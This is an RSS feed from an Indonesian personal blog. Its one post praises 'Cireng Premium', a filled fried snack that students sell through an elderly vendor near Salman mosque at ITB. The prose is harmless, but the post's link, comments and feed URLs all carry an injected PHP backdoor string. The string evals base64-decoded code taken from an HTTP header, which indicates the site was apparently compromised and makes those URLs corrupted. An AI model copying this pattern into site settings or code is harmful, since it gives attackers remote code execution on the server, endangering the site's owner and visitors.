<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Uqi`s Life Note &#187; Makanan</title>
	<atom:link href="http://ismailfaruqi.jepang.info/category/makanan/id/feed/id/" rel="self" type="application/rss+xml" />
	<link>http://ismailfaruqi.jepang.info</link>
	<description></description>
	<pubDate>Mon, 09 Mar 2009 01:47:54 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>id</language>
			<item>
		<title>Cireng Premium</title>
		<link>http://ismailfaruqi.jepang.info/2007/02/27/cireng-premium/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/</link>
		<comments>http://ismailfaruqi.jepang.info/2007/02/27/cireng-premium/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/#comments</comments>
		<pubDate>Tue, 27 Feb 2007 07:07:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Diary]]></category>

		<category><![CDATA[Makanan]]></category>

		<guid isPermaLink="false">http://ismailfaruqi.wordpress.com/2007/02/27/cireng-premium/</guid>
		<description><![CDATA[Mesjid Salman adalah bagian yang tidak terpisahkan dari ITB dengan segala keunikannya tersendiri. Salah satunya, kalau anda melalui Salman –baik untuk shalat, makan, atau ketemu teman- anda akan mendapati seorang ibu bersama beberapa akhwat berjilbab lebar sedang menjual cireng (aci digoreng). Lho, kok ada mahasiswa yang menjual cireng bersama ibu yang lanjut usia? Ternyata ada [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal">Mesjid Salman adalah bagian yang tidak terpisahkan dari ITB dengan segala keunikannya tersendiri. Salah satunya, kalau anda melalui Salman –baik untuk shalat, makan, atau ketemu teman- anda akan mendapati seorang ibu bersama beberapa akhwat berjilbab lebar sedang menjual cireng (aci digoreng). Lho, kok ada mahasiswa yang menjual cireng bersama ibu yang lanjut usia? Ternyata ada cerita di balik cireng dan akhwat-akhwat berjilbab lebar ini. Penasaran kan?</p>
<p><span id="more-26"></span></p>
<p class="MsoNormal">Keberadaan para akhwat tersebut ternyata bukannya tanpa alasan. Mereka ada hubungannya dengan awal penjualan Cireng Premium ini. Saya mendapatkan kesempatan mewawancarai salah satu dari mereka (<em>although barely</em>). Namanya <strong>Anna </strong>(FMIPA ’06). Anna mengatakan bahwa cireng ini merupakan inovasi seorang akhwat angkatan 2003. Karena kalau dijual sendiri sulit dimonitor, maka penjualan cireng ini dititipkan ke si ibu penjual cireng sekarang. Mengapa mereka memilih ibu ini? Menurut Anna, ibu ini dipilih karena ia tidak mencari kesempatan menjual dagagannya di tengah bantuan yang datang dari orang lain. Selain itu, ibu ini orangnya baik dan terbuka, tidak seperti pedagang lainnya. Jadilah, sang ibu mendapat kepercayaan untuk menjajakan cireng premium ini. Singkat kata, Anna dan teman-temannya berhasil mengangkat kehidupan ekonomi sang ibu lewat cireng ini.</p>
<p class="MsoNormal">Oh ya, kenapa sih cireng ini saya namakan Cireng Premium? Ya karena harga yang disandangnya cukup mahal, yakni Rp 1.000 per cireng. Bandingkan dengan Rp 333,33 yang biasa dijual tukang gorengan. Mengapa harganya premium? Karena isinya premium pula. Coba, mana ada cireng yang isinya:</p>
<ol>
<li><!--[if !supportLists]--><span><span><span style="font-family:'Times New Roman';font-style:normal;font-variant:normal;font-weight:normal;font-size:7pt;line-height:normal;"></span></span></span><!--[endif]-->Keju</li>
<li><!--[if !supportLists]--><span><span><span style="font-family:'Times New Roman';font-style:normal;font-variant:normal;font-weight:normal;font-size:7pt;line-height:normal;">       </span></span></span><!--[endif]-->Ayam Pedas</li>
<li><!--[if !supportLists]--><span><span><span style="font-family:'Times New Roman';font-style:normal;font-variant:normal;font-weight:normal;font-size:7pt;line-height:normal;"></span></span></span><!--[endif]-->Kornet Pedas</li>
<li><!--[if !supportLists]--><span><span><span style="font-family:'Times New Roman';font-style:normal;font-variant:normal;font-weight:normal;font-size:7pt;line-height:normal;"></span></span></span><!--[endif]-->Kornet Tidak Pedas</li>
<li><!--[if !supportLists]--><span><span><span style="font-family:'Times New Roman';font-style:normal;font-variant:normal;font-weight:normal;font-size:7pt;line-height:normal;"></span></span></span><!--[endif]-->Sosis Pedas</li>
</ol>
<p class="MsoNormal">Unik kan? Bentuknya pun bervariasi. Ada segitiga, bulan sabit, bundar, bahkan <em>shuriken </em>(nanda yo!). Sepertinya, bentuk tersebut digunakan penjual cireng untuk mengenali jeroan cireng. Bagaimana rasanya? Cukup memberikan sensasi, walaupun ‘cireng tetap cireng meski dibalut bahan lain’. Namun jangan salah, dari hasil observasi, cukup banyak penggemar cireng ini. Bahkan ‘penikmat cireng premium’ ini seringkali datang berkelompok untuk menikmatinya di Taman Ganesha. Artinya, rasa Cireng Premium ini patut diperhitungkan. Jika anda ke Salman, cobalah sesekali mampir untuk menikmati cireng ini.</p>
<p class="MsoNormal"><a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/03/cireng-premium.jpg" title="Cireng Premium, Bentuknya Macam-macam"><img src="http://ismailfaruqi.files.wordpress.com/2007/03/cireng-premium.thumbnail.jpg" alt="Cireng Premium, Bentuknya Macam-macam" /></a> <a href="http://ismailfaruqi.jepang.info/wp-content/uploads/2007/03/pembeli-cireng-premium.jpg" title="Ayo Dibeli Cirengnya…"><img src="http://ismailfaruqi.files.wordpress.com/2007/03/pembeli-cireng-premium.thumbnail.jpg" alt="Ayo Dibeli Cirengnya…" /><br />
</a></p>
<p class="MsoNormal">Menurut saya, apa yang dilakukan Anna dan teman-temannya merupakan salah satu solusi yang tepat dalam menangani jumlah pengemis yang semakin membengkak di Bandung ini. Dalam peribahasa, daripada memberi para pengemis “ikan”, lebih baik memberi “kail yang dapat digunakan untuk memancing ikan”. Saya angkat topi untuk mereka!</p>
]]></content:encoded>
			<wfw:commentRss>http://ismailfaruqi.jepang.info/2007/02/27/cireng-premium/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/feed/id/</wfw:commentRss>
		</item>
	</channel>
</rss>
